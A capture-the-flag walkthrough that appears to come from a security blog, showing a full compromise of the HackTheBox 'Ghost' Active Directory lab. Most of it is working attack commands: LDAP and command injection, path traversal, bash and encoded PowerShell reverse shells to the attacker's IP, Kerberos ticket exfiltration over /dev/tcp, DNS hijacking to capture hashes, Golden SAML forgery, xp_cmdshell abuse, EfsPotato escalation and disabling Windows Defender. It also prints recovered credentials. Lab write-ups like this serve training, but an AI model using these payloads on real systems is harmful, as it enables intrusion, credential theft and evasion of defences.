HackTheBox | Ghost

In this walkthrough, I demonstrate how I obtained complete ownership of Ghost on HackTheBox
In: HackTheBox, Attack, CTF, Windows, Insane Challenge

Last updated Dec. 28, 2024 to follow the intended path for the post-exploit enumeration and privilege escalation process.

Owned Ghost from Hack The Box!
I have just owned machine Ghost from Hack The Box

Nmap Results

# Nmap 7.94SVN scan initiated Mon Jul 15 14:07:55 2024 as: nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.129.210.174
Nmap scan report for 10.129.210.174
Host is up (0.017s latency).
Not shown: 65510 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-07-15 18:09:32Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
443/tcp   open  https?
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RC0+
| ms-sql-info: 
|   10.129.210.174:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RC0+
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RC0
|       Post-SP patches applied: true
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-07-15T18:08:27
|_Not valid after:  2054-07-15T18:08:27
|_ssl-date: 2024-07-15T18:11:06+00:00; 0s from scanner time.
| ms-sql-ntlm-info: 
|   10.129.210.174:1433: 
|     Target_Name: GHOST
|     NetBIOS_Domain_Name: GHOST
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: ghost.htb
|     DNS_Computer_Name: DC01.ghost.htb
|     DNS_Tree_Name: ghost.htb
|_    Product_Version: 10.0.20348
2179/tcp  open  vmrdp?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Not valid before: 2024-06-16T15:49:55
|_Not valid after:  2024-12-16T15:49:55
|_ssl-date: 2024-07-15T18:11:06+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: GHOST
|   NetBIOS_Domain_Name: GHOST
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: ghost.htb
|   DNS_Computer_Name: DC01.ghost.htb
|   DNS_Tree_Name: ghost.htb
|   Product_Version: 10.0.20348
|_  System_Time: 2024-07-15T18:10:26+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8008/tcp  open  http          nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Ghost
|_http-generator: Ghost 5.78
| http-robots.txt: 5 disallowed entries 
|_/ghost/ /p/ /email/ /r/ /webmentions/receive/
8443/tcp  open  ssl/http      nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=core.ghost.htb
| Subject Alternative Name: DNS:core.ghost.htb
| Not valid before: 2024-06-18T15:14:02
|_Not valid after:  2124-05-25T15:14:02
| http-title: 400 The plain HTTP request was sent to HTTPS port
|_Requested resource was /login
| tls-nextprotoneg: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
9389/tcp  open  mc-nmf        .NET Message Framing
49443/tcp open  unknown
49664/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
60709/tcp open  msrpc         Microsoft Windows RPC
60745/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2024-07-15T18:10:27
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 15 14:11:08 2024 -- 1 IP address (1 host up) scanned in 193.06 seconds
💡
We can see references to the domain ghost.htb in multiple protocols, along with a hostname of DC01.ghost.htb, so let's go ahead and get those added to the /etc/hosts file
echo -e '10.129.210.174\t\tDC01.ghost.htb ghost.htb' | sudo tee -a /etc/hosts





Service Enumeration

TCP/53

Zone transfer refused
gobuster dns -r 10.129.210.174 -d ghost.htb \
-w /usr/share/seclists/Discovery/DNS/namelist.txt -t 100
Found: bitbucket.ghost.htb
Found: core.ghost.htb
Found: corp.ghost.htb
Found: federation.ghost.htb
Found: gitea.ghost.htb
Found: intranet.ghost.htb



TCP/389

No anonymous LDAP queries



TCP/445

Anonymous login successful, but no shares available
No anonymous RID enumeration, but we get some valuable information on the host OS



TCP/88

Kerberos Pre-Auth User... | 0xBEN | Notes
How it Works We can send a request for a TGT --- without a pre-authentication hash --- to the Kerbe…
kerbrute userenum -d ghost.htb --dc 10.129.210.174 -t 100 -o kerbrute.log ./kerberos_users.txt
2024/07/21 16:14:13 >  [+] VALID USERNAME:       administrator@ghost.htb



TCP/80

⚠️
The server headers for this port list it as Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP), so this is probably a dead end. Additionally, running gobuster in dir mode against this port and tcp/443 did not reveal anything, so I'll be moving onto the alternate HTTP servers.



TCP/8443

Clicking the button for federated login, redirects to federation.ghost.htb, so we need to add this to our /etc/hosts file.
echo -e '10.129.210.174\t\tfederation.ghost.htb' | sudo tee -a /etc/hosts
ADFS federated login page for Ghost Core. Remains to be seen what we can do with this.
⚠️
I tried some additional enumeration using the subdomains discovered earlier, and using gobuster in dir and vhost modes, but couldn't uncover any additional endpoints (let alone the instability of the web server)



TCP/8008

Exploring Ghost

On tcp/8008, we have an installation of the Ghost.org CMS. We also see a potential username of Kathryn Holland.
The sitemap seems to be broken due to the broken references to http://ghost.htb when it should be http://ghost.htb:8008.
The local author name is kathryn
The Ghost.org admin page can be found at /ghost.
This Ghost installation discloses invalid usernames.
Looks like the valid username email is kathryn.holland@ghost.htb
This is also a valid domain user. I did try checking for AS-REP, but this setting doesn't apply to this user.
There are brute-forcing countermeasures on this service as well



Checking for CVEs

Possible bypass for bruteforce countermeasure affects the installed version of Ghost
This is one of my test logins from my Burp history. I'm going to save the contents of my request to request.txt and add in a X-Forwarded-For header to test the bypass.
sudo apt install -y prips
prips 10.0.0.0/8 > xff_fuzz.txt

This list of IPs has more entries than that of rockyou.txt so we can exhaust our password list before we exhaust the IP list

ffuf -x http://127.0.0.1:8080 -request request.txt \
--request-proto http -mode pitchfork \
-w xff_fuzz.txt:XFFFUZZ -w ~/Pentest/WordLists/rockyou.txt:PASSFUZZ \
-mc 200,301,302 -t 10

Use ffuf to bruteforce the login and send each request through Burp

Ghost is definitely not blocking my login attempts
⚠️
Despite the exploit working, this is likely not going to be a good use of time, as rockyou.txt is going to take forever. I also tried a more targeted wordlist made using cewl, but didn't have any luck.



Gobuster Enumeration

Directories and Files

Running gobuster dir against http://ghost.htb:8008 did not reveal any additional interesting directories or files.



Virtual Hosts

gobuster vhost -k --domain ghost.htb -u http://$target:8008 -w subdomains.txt -t 10

Test the DNS names we found earlier against this web server to see if any are configured as virtual hosts

💡
I'm opting to test virtual hosts this way, because firstly, we already have some hostnames that we know. Also, the web server is most likely throttling our requests, meaning that brute forcing virtual hosts with a large word list is going to take a long time.
Found: gitea.ghost.htb Status: 200 [Size: 13653]
Found: intranet.ghost.htb Status: 307 [Size: 3968] [--> /login]

Nice! We found two more virtual hosts on this web server.

echo -e '10.129.210.174\t\tintranet.ghost.htb gitea.ghost.htb' | sudo tee -a /etc/hosts

Add them to the hosts file



Exploring the Intranet

Looking at the HTTP POST to /login, there are some references to LDAP, so this application is authenticating against Active Directory, most likely
Testing some common characters to LDAP queries to see if there's LDAP injection
Testing with * in both fields allows me to login! Most likely, there's a hard-coded LDAP query string in the application that doesn't filter user-input. The * in both fields most likely causes a wildcard match that LDAP evaluates to True.
Logged in as kathryn.holland
Made a note of the users from the intranet, but none of them were AS-REP roastable
They are all valid domain users
Some interesting information in here. The record for bitbucket.ghost.htb exists -- found in earlier DNS enumeration -- but doesn't appear to be defined. Justin also appears to be running a script, which may come into play later.
Seems like the gitea_temp_principal has the password stored in a LDAP attribute



Brute Forcing Gitea Principal Login

We should be able to figure out the gitea_temp_principal login by taking advantage of the LDAP wildcard injection in the login form for the Intranet.

💡
For example, we know that username: * and secret: * will log us into the app. Likewise, if we type in username: git* and secret: *, this should log us in as gitea_temp_principal. However, if we do username: git* and secret: blah*, this should cause a login failure, since blah plus * doesn't cause evaluate to a matching secret.
This works, so we know the secret starts with s
Source code for login.sh can be found directly below
CTF-Scripts/HackTheBox/Ghost/login.sh at main · 0xBEN/CTF-Scripts
Contribute to 0xBEN/CTF-Scripts development by creating an account on GitHub.



Exploring the Gitea Server

Testing the username and secret as per the information in the Intranet page
We are currently migrating Gitea to Bitbucket.
Domain logins to Gitea have been disabled.
You can only login with the gitea_temp_principal account and its corresponding intranet token as password.
And, we're in! The next steps will be to look around and see what information we can find from any code repositories. The commit IDs highlighted above may contain some comments or code with sensitive info.
We didn't see the intranet repository on the commit history, so also worth a look
Clicking here also shows you the commit history for the ghost-dev project
We can see here in the ghost-dev/intranet repository the LDAP query string that we injected our malicious inputs to, which shows clearly why * worked in both fields
The README.md file in the intranet repo also contains an interesting note about a potential API in development, let's keep that in our back pocket for now and continue to peruse
README.md in the ghost-dev/blog repository, also contains some interesting info including an API key which is purportedly only for public data
The dev.rs file in the ghost-dev/intranet repo has references to a custom X-DEV-INTRANET-KEY header which matches the note from above.
The intranet/backend/src/api/dev/scan.rs file in the intranet repo also appears to invoke a command via bash -c to a local command called intranet_url_check when a HTTP POST is made to the /scan endpoint. Although the comment says it's not implemented.
intranet/backend/src/main.rs shows us the web routes including /api and /api-dev, which have their respective endpoints
This appears to the modification to the Ghost API. If the query string has an extra parameter, we read /var/lib/ghost/extra/<user_input>, but this looking vulnerable to path traversal. Also, remember that these are Docker containers.



Abusing the Ghost API

💡
During the exploration of the Gitea server, we found lots of interesting tidbits in the source code. We now know that an environment variable DEV_INTRANET_KEY is shared on both the Ghost docker container and the Intranet container.

So, we can likely use the file read from the Ghost API to find the environment variable and pivot with that to the Intranet API.
Ghost Content API Documentation
Ghost’s RESTful Content API delivers published content to the world and can be accessed by any client to render a website. Read more on Ghost Docs.
ℹ️
According to the documentation here, when using a content API key, we can HTTP GET to one of the endpoints with a ?key=<key_goes_here> query string. To leverage the extra parameter, we just add that to our query string.
curl 'http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../../../etc/passwd' | jq

Note the &extra=<file_path_here> addition to the query string

Reading /etc/passwd from the Docker container.
curl 'http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../../../proc/self/environ' | jq
The DEV_INTRANET_KEY variable is in the clean, and the \u0000 is a Unicode sequence denoting the end of the string, so !@yqr!X2kxmQ.@Xe
ℹ️
I tried passing the key around to different protocols as quick check, but didn't find any valid logins



Abusing the URL Scan API

💡
Now that we have the DEV-INTRANET-KEY from the environment variable -- and because this key is shared between the Ghost API and the Intranet API -- we can use this key to hit the dev API on the Intranet

Recall again a few key points:

  • The dev.rs file in the ghost-dev/intranet repo has references to a custom X-DEV-INTRANET-KEY
  • The intranet/backend/src/api/dev/scan.rs file in the intranet repo also appears to invoke a command via bash -c to a local command called intranet_url_check when a HTTP POST is made to the /scan endpoint. Although the comment says it's not implemented.
    • scan.rs is also expecting JSON data in the HTTP POST request
  • There are two key API routes published in the backend main.rs code:
    • /api
    • /api-dev
      • scan.rs falls under this development API
curl -s 'http://intranet.ghost.htb:8008/api-dev/scan' \
-H 'Content-Type: application/json' \
-H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' \
-d '{"url": "http://127.0.0.1/; curl http://10.10.14.179"}'

Because the API is invoking bash -c intranet_url_check we can use a ; to chain multiple commands together. First test is curl back to my VPN IP.

Command execution succeeded





Exploit

API RCE to Reverse Shell

sudo rlwrap nc -lnvp 443
curl -s 'http://intranet.ghost.htb:8008/api-dev/scan' \
-H 'Content-Type: application/json' \
-H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' \
-d '{"url": "http://127.0.0.1/; bash -c \"bash -i >& /dev/tcp/10.10.14.179/443 0>&1\""}'
Because the host IP is different here -- and inferring other ways -- we can be certain that we are in a Docker container and will need to escape somehow





Post-Exploit Enumeration

Operating Environment

OS & Kernel

PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

Linux 621de11273cb 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 GNU/Linux   

Current User

uid=0(root) gid=0(root) groups=0(root)   



Processes and Services

Interesting Processes

USER         PID COMMAND
root           1 /app/ghost_intranet
root          26 [ssh] <defunct>
root          27 ssh: /root/.ssh/controlmaster/florence.ramirez@ghost.htb@dev-wo   



Interesting Files

/docker-entrypoint.sh

!/bin/bash

mkdir /root/.ssh
mkdir /root/.ssh/controlmaster
printf 'Host *\n  ControlMaster auto\n  ControlPath ~/.ssh/controlmaster/%%r@%%h:%%p\n  ControlPersist yes' > /root/.ssh/config

exec /app/ghost_intranet

/root/.ssh/controlmaster/

srw------- 1 root root    0 Dec 28 08:06 florence.ramirez@ghost.htb@dev-workstation:22





Privilege Escalation

Lateral to Dev-Workstation

python3 -c "import pty; pty.spawn('/bin/bash')"
ssh florence.ramirez@ghost.htb@dev-workstation



Interesting File

find / -type f -writable -exec ls -l {} \; 2>/dev/null | grep -vE '/proc|/sys'
-rw------- 1 florence.ramirez staff 1650 Dec 28 21:28 /tmp/krb5cc_50

There's a cached Kerberos ticket on the box

The ticket appears to belong to florence.ramirez. The ticket path looks suspiciously similar to that used by Kerberos tools on Linux.



BloodHound via Pass-the-Ticket

Netcat | 0xBEN | Notes
Listener on Attack Box File from Target to Attack Box # Start a listener on the attack box and red…
sudo nc -q 3 -lnvp 80 > krb5cc_50

Start a listener to catch the file from the target

bash -c 'cat /tmp/krb5cc_50 >& /dev/tcp/10.10.14.158/80 0>&1'

nc is not installed on the target, transfer via alternate means

KRB5CCNAME=krb5cc_50 bloodhound-python -k -no-pass -u 'florence.ramirez' -c All -ns 10.129.231.105 -d ghost.htb
Transfer these files into BloodHound for analysis



Enumerating the Domain Manually

Indeed, it appears this Linux box is joined to the domain
We can list cached tickets using native commands. The samba tools will recognize the cached ticket and should work seemlessly
net ads user 2>/dev/null
Get a list of domain users
for u in $(net ads user 2>/dev/null) ; do echo $u ; echo '------------' ; net ads user info $u 2>/dev/null ; echo ; done
Current user is in IT, which may impart some privileges
We saw Justin before in the Intranet forum and he's in the group with WinRM privileges, which makes him a good next target



Lateral to Justin

ℹ️
It's logical to assume that the next pivot would be to justin.bradley, but looking at the BloodHound data, there aren't any clear paths to pivot there. Looking back at the information I've collected so far, I recall the bitbucket.ghost.htb issue in the Intranet forum post and the script Justin is running.

Being that florence.ramirez is in the IT group, it's certainly possible we may have rights to update the DNS record and point it at our attack box IP and cause whatever script Justin is running to connect back to us.
nsupdate is installed on the box and should allow us modify the record
echo -e 'server DC01.ghost.htb\nupdate add bitbucket.ghost.htb 86400 A 10.10.14.158\nsend' > /tmp/nsupdate.txt
nsupdate -g < /tmp/nsupdate.txt

Use GSS-API to authenticate and update the DNS record

The update seems to proceed without error
sudo responder -I tun0 -dw

Let's see if we get any easy wins from Justin's script

Nice! Let's see if we can crack the NetNTLMv2 hash ...
Excellent! We now have a credential to WinRM to the target.
evil-winrm -i DC01.ghost.htb -u 'justin.bradley' -p 'Qwertyuiop1234$$'
Enumerating on the box, I'm not seeing much additional info ...
However, we have an interesting DACL in the BloodHound data



Lateral to ADFS_GMSA$

git clone https://github.com/micahvandeusen/gMSADumper
cd gMSADumper
💡
On Kali, the default Python environment is externally managed by apt, so we'll use a Python virtual environment to leave the default untouched and install the requirements to run the tool
virtualenv .
source bin/activate
python3 -m pip install -r requirements.txt
python3 gMSADumper.py -u 'justin.bradley' -p 'Qwertyuiop1234$$' -d 'ghost.htb'
💡
Run deactivate to leave the virtual environment when finished
This account can also WinRM, and we can login by passing the hash
evil-winrm -i DC01.ghost.htb -u 'adfs_gmsa$' -H '3d76bf27456f0e647a849e8afb99207a'
ℹ️
As was the case with Justin, upon logging in, we don't find much, so we need to take a holistic look at the target and think about what we've seen so far that could be abused by this account.

BloodHound doesn't show any interesting DACLs, but you ought to recall seeing the Active Directory Federation Services (ADFS) back on core.ghost.htb:8443
Doing a test login as justin.bradley, I can login, but the error message states that only the Administrator account can proceed
The Netwrix article has a really nice summary of the attack



Dumping the SAML Signing Data

GitHub - mandiant/ADFSDump
Contribute to mandiant/ADFSDump development by creating an account on GitHub.

Clone or transfer this repository to a Windows host and compile (or find a pre-compiled binary if you're feeling adventurous)



Creating a Spoofed SAML Claim

Golden SAML Attack
Learn how the Golden SAML attack is carried out, as well as how to detect, mitigate and respond to it
Active Directory - Federation Services - Internal All The Things
Active Directory and Internal Pentest Cheatsheets
GitHub - mandiant/ADFSpoof
Contribute to mandiant/ADFSpoof development by creating an account on GitHub.

Example of generating a SAML2 claim using the tool

nano token_signing_key.txt
AAAAAQAAAAAEEAFyHlNXh2VDska8KMTxXboGCWCGSAFlAwQCAQYJYIZIAWUDBAIBBglghkgBZQMEAQIEIN38LpiFTpYLox2V3SL3knZBg16utbeqqwIestbeUG4eBBBJvH3Vzj/Slve2Mo4AmjytIIIQoMESvyRB6RLWIoeJzgZOngBMCuZR8UAfqYsWK2XKYwRzZKiMCn6hLezlrhD8ZoaAaaO1IjdwMBButAFkCFB3/DoFQ/9cm33xSmmBHfrtufhYxpFiAKNAh1stkM2zxmPLdkm2jDlAjGiRbpCQrXhtaR ... [ snipped ] ...
nano dkm_key.txt
8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9 ... [ snipped ] ...
cat token_signing_key_b64.txt | base64 -d > TKSKey.bin
cat dkm_key.txt | tr -d '-' | xxd -r -p > DKMkey.bin
ADFSpoof.py was not working with python3.12, so I needed to spin up a Linux Container in Proxmox where I could run an older version of Python and run the tool.

The commands below were run on said Linux Container (which also needs to be in the same timezone as the AD FS server)
git clone https://github.com/mandiant/ADFSpoof
cd ADFSpoof
python3 -m pip install -r requirements.txt
💡
The output from ADFSDump.exe has most of the information you need to create the SAML claim. You can also install a Chrome extension to debug SAML claims while doing a test login as justin.bradley to see what a legitimate SAML login looks like with core.ghost.htb.
SAML-tracer Chrome extension in Burp browser
Here, we can see the user identifies themselves with their UserPrincipalName (UPN) and CommonName (CN) from LDAP ...
... which matches the access policy that requires these attributes be sent during authentication
cat << EOF | sed -E -e 's/\s{2,}//g' -e 's/justin\.bradley/Administrator/g' | tr -d '\n'
            <Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn">
                <AttributeValue>justin.bradley@ghost.htb</AttributeValue>
            </Attribute>
            <Attribute Name="http://schemas.xmlsoap.org/claims/CommonName">
                <AttributeValue>justin.bradley</AttributeValue>
            </Attribute>
EOF

We can take the output from SAML-tracer and easily manipulate it to use with ADFSpoofer

python3 ADFSpoof.py -b /tmp/TKSKey.bin /tmp/DKMkey.bin -s core.ghost.htb saml2 \
--endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' \
--nameidformat 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress' \
--nameid 'Administrator@ghost.htb' \
--rpidentifier 'https://core.ghost.htb:8443' \
--assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>Administrator@ghost.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'
Take the base64-encoded output, turn on intercept mode in Burp proxy, authenticate as justin.bradley and replace the SAML response data with the spoofed data here
And, we're in!



MSSQL Server

💡
In the Database Debug app, we should note the verbiage indicating that the two databases -- ghost.htb and corp.ghost.htb -- are linked. Per the web page, we're executing queries on the main database.
MSSQL AD Abuse | HackTricks

This link shows us how to enumerate trusted links

Attacking MSSQL < BorderGate
Penetration Testing and Exploit Development.

This link shows us how to gain code execution on the linked server

select * from master..sysservers;
It's probably safe to assume that srvid: 0 is the main database, so srvid: 1 is linked
EXEC ('execute as login = ''sa'' exec master.dbo.sp_configure "show advanced options",1;RECONFIGURE;exec master.dbo.sp_configure "xp_cmdshell", 1;RECONFIGURE; exec master..xp_cmdshell ''hostname''') AT "PRIMARY";

Chained command to gain code execution. We need to do it this way, as changes we make to the database (e.g. enabling xp_cmdshell and elevating to "sa" are not persistent)



Pivot to MSSQL Service

P5hellG3n/P5hellG3n.py at main · xbz0n/P5hellG3n
This script generates a PowerShell reverse shell command that bypasses execution policies and is base64 encoded. The generated shell command establishes a TCP connection to a provided IP and port,…
wget https://github.com/xbz0n/P5hellG3n/raw/main/P5hellG3n.py -O psrev.py
python3 psrev.py 10.10.14.158 443
EXEC ('execute as login = ''sa'' exec master.dbo.sp_configure "show advanced options",1;RECONFIGURE;exec master.dbo.sp_configure "xp_cmdshell", 1;RECONFIGURE; exec master..xp_cmdshell ''powershell -exec bypass -enc CgAkAGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABDAFAAQwBsAGkAZQBuAHQAKAAnADEAMAAuADEAMAAuADEANAAuADEANQA4ACcALAA0ADQAMwApADsACgAkAHMAIAA9ACAAJABjAC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsACgB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMALgBSAGUAYQBkACgAJABiACwAIAAwACwAIAAkAGIALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7AAoAIAAgACAAIAAkAGQAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgAsADAALAAgACQAaQApADsACgAgACAAIAAgACQAcwBiACAAPQAgACgAaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsACgAgACAAIAAgACQAcwBiACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGIAIAArACAAJwBwAHMAPgAgACcAKQA7AAoAIAAgACAAIAAkAHMALgBXAHIAaQB0AGUAKAAkAHMAYgAsADAALAAkAHMAYgAuAEwAZQBuAGcAdABoACkAOwAKACAAIAAgACAAJABzAC4ARgBsAHUAcwBoACgAKQAKAH0AOwAKACQAYwAuAEMAbABvAHMAZQAoACkACgA=''') AT "PRIMARY";
You can see in the reverse shell output above that we're in the corp.ghost.htb forest which I noticed earlier when perusing Bloodhound



Escalating Privileges via SeImpersonatePrivilege

Searching GitHub, we can find some recent Potato exploits that should work for the target operating system
GitHub - zcgonvh/EfsPotato: Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability).
Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability). - zcgonvh/EfsPotato

This one should be nice and simple to compile on Kali

git clone https://github.com/zcgonvh/EfsPotato
mcs EfsPotato.mcs

Compiles and outputs EfsPotato.exe

sudo impacket-smbserver -smb2support -username smb -password smb myshare .

Host the potato exploit over SMB

New-SmbMapping -LocalPath 'P:' -RemotePath \\10.10.14.158\myshare -UserName 'smb' -Password 'smb'
cd C:\Users\Public\Documents\
cp P:\EfsPotato.exe .
.\EfsPotato.exe whoami



Becoming SYSTEM on corp.ghost.htb

Start-Process cmd.exe -ArgumentList '/c C:\Users\Public\Documents\EfsPotato.exe "powershell -exec bypass -enc CgAkAGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABDAFAAQwBsAGkAZQBuAHQAKAAnADEAMAAuADEAMAAuADEANAAuADEANQA4ACcALAA0ADQAMwApADsACgAkAHMAIAA9ACAAJABjAC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsACgB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMALgBSAGUAYQBkACgAJABiACwAIAAwACwAIAAkAGIALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7AAoAIAAgACAAIAAkAGQAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgAsADAALAAgACQAaQApADsACgAgACAAIAAgACQAcwBiACAAPQAgACgAaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsACgAgACAAIAAgACQAcwBiACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGIAIAArACAAJwBwAHMAPgAgACcAKQA7AAoAIAAgACAAIAAkAHMALgBXAHIAaQB0AGUAKAAkAHMAYgAsADAALAAkAHMAYgAuAEwAZQBuAGcAdABoACkAOwAKACAAIAAgACAAJABzAC4ARgBsAHUAcwBoACgAKQAKAH0AOwAKACQAYwAuAEMAbABvAHMAZQAoACkACgA="'

Use Start-Process ... to run the process in the background and keep our initial shell free in case we need it to re-run anything

Change the Administrator password for privileged attacks
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableBlockAtFirstSeen $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableIntrusionPreventionSystem $true
Get-MpPreference | Select-Object DisableRealtimeMonitoring, DisableBehaviorMonitoring, DisableBlockAtFirstSeen, DisableIOAVProtection, DisableIntrusionPreventionSystem

Let's also disable Windows Defender while we're at it, so that we can freely execute binaries



Port Forwarding with Chisel

Using chisel, we can create a reverse SOCKS5 proxy to allow us to authenticate to the domain on the remote host.

Port Forwarding with C... | 0xBEN | Notes
GitHub Download from the Releases Page Usage Requires a copy of the Chisel binary on: The ta…

I'm going to use the download_chisel function I wrote to get the latest Windows and Linux binaries

💡
Since we're running under NT Authority/SYStEM, you'll need to re-map your SMB share using New-SmbMapping to transfer chisel.exe to the target (or use another file transfer method)
sudo ./chisel server --port 80 --reverse

Start a chisel server on Kali and allow reverse port forwards

Start-Process C:\Users\Public\Documents\chisel.exe -Args "client 10.10.14.158:80 R:58080:socks"

Start chisel.exe in the background and keep our current reverse shell free

Connection and SOCKS5 proxy established
sudo nano /etc/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 58080



Dumping Hashes and Secrets

